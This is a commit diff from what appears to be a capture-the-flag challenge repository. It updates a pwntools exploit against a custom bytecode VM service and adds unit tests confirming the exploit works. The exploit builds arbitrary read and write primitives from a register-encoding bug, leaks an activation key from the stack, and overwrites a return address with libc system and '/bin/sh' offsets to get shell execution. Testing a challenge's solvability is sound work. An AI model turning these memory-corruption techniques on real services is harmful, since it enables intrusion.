Enable testing of the exploit (#4)
* Enable testing exploit * Fix unused result warning * Fix oversight in CI * Fix oversight in CI II * Fix oversight in CI III * Fix oversight in CI IV * Debugging CI * Debugging CI * Debugging CI * Debugging & supplying custom libc * Trying out stuff. * Triggering CI? * Testing around. * Fix test_exploit CI. * Fix test_exploit CI.
This commit is contained in:
@@ -52,6 +52,7 @@ class Register(IntEnum):
|
||||
|
||||
|
||||
INSTR_LEN = 8
|
||||
PORT = 1337
|
||||
|
||||
|
||||
def instr_i(opcode, reg1, imm: int):
|
||||
@@ -78,6 +79,7 @@ def arbitrary_read(dst: Register, src: Register):
|
||||
# src needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the dst register bits
|
||||
return instr_r(Opcode.ADD, dst, src)
|
||||
|
||||
|
||||
def arbitrary_write(dst: Register, src: Register):
|
||||
assert (src.has_highest_bit_set() and not dst.has_highest_bit_set())
|
||||
# use bug to overflow into RM byte, so that it encodes register indirect addressing without offset
|
||||
@@ -85,8 +87,9 @@ def arbitrary_write(dst: Register, src: Register):
|
||||
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
|
||||
return instr_r(Opcode.COPY, dst, src)
|
||||
|
||||
def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
|
||||
p = remote("localhost", 1337, fam="ipv4")
|
||||
|
||||
def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote:
|
||||
p = remote("localhost", port, fam="ipv4")
|
||||
p.recvuntil(b"Password: ")
|
||||
p.sendline(b"1234")
|
||||
|
||||
@@ -121,12 +124,15 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
|
||||
return exit_code
|
||||
|
||||
|
||||
def extract_premium_key():
|
||||
offset_saved_rip_to_activation_key = 0x396d
|
||||
def extract_premium_key(is_debug: bool = False, port: int = PORT):
|
||||
if is_debug:
|
||||
offset_saved_rip_to_activation_key = 0x396d # debug mode
|
||||
else:
|
||||
offset_saved_rip_to_activation_key = 0x2832 # release mode
|
||||
|
||||
premium_key = b""
|
||||
|
||||
p = connect(b"", False)
|
||||
p = connect(b"", False, port)
|
||||
i = 0
|
||||
while i < 0x80:
|
||||
# mov r8, rsp
|
||||
@@ -157,14 +163,18 @@ def extract_premium_key():
|
||||
p.close()
|
||||
return premium_key
|
||||
|
||||
def get_flag(p: pwnlib.tubes.remote.remote):
|
||||
|
||||
def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
|
||||
libc_base_offset = 0x23d0a
|
||||
libc_system_offset = 0x45e50
|
||||
libc_bin_sh_offset = 0x195152
|
||||
rsp_libc_start_main_offset = 0x80
|
||||
if is_debug:
|
||||
rsp_libc_start_main_offset = 0x80 # debug mode
|
||||
else:
|
||||
rsp_libc_start_main_offset = 0xa0 # release mode
|
||||
# mov r8, rsp
|
||||
program = load_rsp(Register.G)
|
||||
# mov rcx, r8 (use Register.A in the commad because highest bit of register_id[r8] gets overflown)
|
||||
# mov rcx, r8 (use Register.A in the command because highest bit of register_id[r8] gets overflown)
|
||||
program += instr_r(Opcode.ADD, Register.A, Register.G)
|
||||
# add rcx, rsp_libc_start_main_offset
|
||||
program += instr_i(Opcode.ADDI, Register.C, rsp_libc_start_main_offset)
|
||||
@@ -192,7 +202,7 @@ def get_flag(p: pwnlib.tubes.remote.remote):
|
||||
program += instr_r(Opcode.ADD, Register.A, Register.G)
|
||||
# mov [rcx], r10
|
||||
program += arbitrary_write(Register.C, Register.I)
|
||||
|
||||
|
||||
log.info(p.recvuntil(b"should it bee?").decode())
|
||||
len_msg = str(len(program) // INSTR_LEN)
|
||||
log.info(f"Sending: {len_msg}")
|
||||
@@ -201,12 +211,13 @@ def get_flag(p: pwnlib.tubes.remote.remote):
|
||||
log.info(f"Sending program: {str(program)}")
|
||||
p.send(program)
|
||||
p.sendline(b"/bin/get_flag")
|
||||
print(p.recvregex(b'flag_[0-9a-f]{32}').decode())
|
||||
|
||||
return p.recvregex(b'flag_[0-9a-f]{32}').decode()
|
||||
|
||||
context.log_level = 'warn'
|
||||
|
||||
premium_key = extract_premium_key()
|
||||
if __name__ == "__main__":
|
||||
context.log_level = 'warn'
|
||||
|
||||
p = connect(premium_key, True)
|
||||
get_flag(p)
|
||||
premium_key = extract_premium_key(is_debug=True)
|
||||
|
||||
p = connect(premium_key, True)
|
||||
print(get_flag(p, is_debug=True))
|
||||
|
||||
64
exploit/test_exploit.py
Executable file
64
exploit/test_exploit.py
Executable file
@@ -0,0 +1,64 @@
|
||||
#! /usr/bin/env python3
|
||||
import exploit
|
||||
import argparse
|
||||
import unittest
|
||||
|
||||
RELEASE_PORT = 8080
|
||||
DEBUG_PORT = 8081
|
||||
|
||||
|
||||
def __get_activation_key__() -> bytes:
|
||||
global activation_key_file
|
||||
assert (activation_key_file is not None)
|
||||
with open(activation_key_file, "rb") as f:
|
||||
data = f.read()
|
||||
return data
|
||||
|
||||
|
||||
class ExploitTest(unittest.TestCase):
|
||||
|
||||
def __check_extract_activation_key__(self, is_debug: bool):
|
||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||
key = exploit.extract_premium_key(is_debug, port)
|
||||
self.assertEqual(key, __get_activation_key__())
|
||||
|
||||
def test_extract_activation_key_debug(self):
|
||||
self.__check_extract_activation_key__(is_debug=True)
|
||||
|
||||
def test_extract_activation_key_release(self):
|
||||
self.__check_extract_activation_key__(is_debug=False)
|
||||
|
||||
def __check_get_flag__(self, is_debug: bool):
|
||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||
p = exploit.connect(__get_activation_key__(), True, port)
|
||||
flag = exploit.get_flag(p, is_debug)
|
||||
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||
|
||||
def test_get_flag_debug(self):
|
||||
self.__check_get_flag__(True)
|
||||
|
||||
def test_get_flag_release(self):
|
||||
self.__check_get_flag__(False)
|
||||
|
||||
def __check_combined__(self, is_debug: bool):
|
||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||
activation_key = exploit.extract_premium_key(is_debug, port)
|
||||
p = exploit.connect(activation_key, True, port)
|
||||
flag = exploit.get_flag(p, is_debug)
|
||||
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||
|
||||
def test_combined_debug(self):
|
||||
self.__check_combined__(True)
|
||||
|
||||
def test_combined_release(self):
|
||||
self.__check_combined__(False)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
global activation_key_file
|
||||
arg_parser = argparse.ArgumentParser(prog="Exploit CI tester")
|
||||
arg_parser.add_argument("-f", "--file", type=str, required=True, help="File containing the activation key.")
|
||||
args = arg_parser.parse_args()
|
||||
activation_key_file = args.file
|
||||
|
||||
unittest.main(argv=[""])
|
||||
Reference in New Issue
Block a user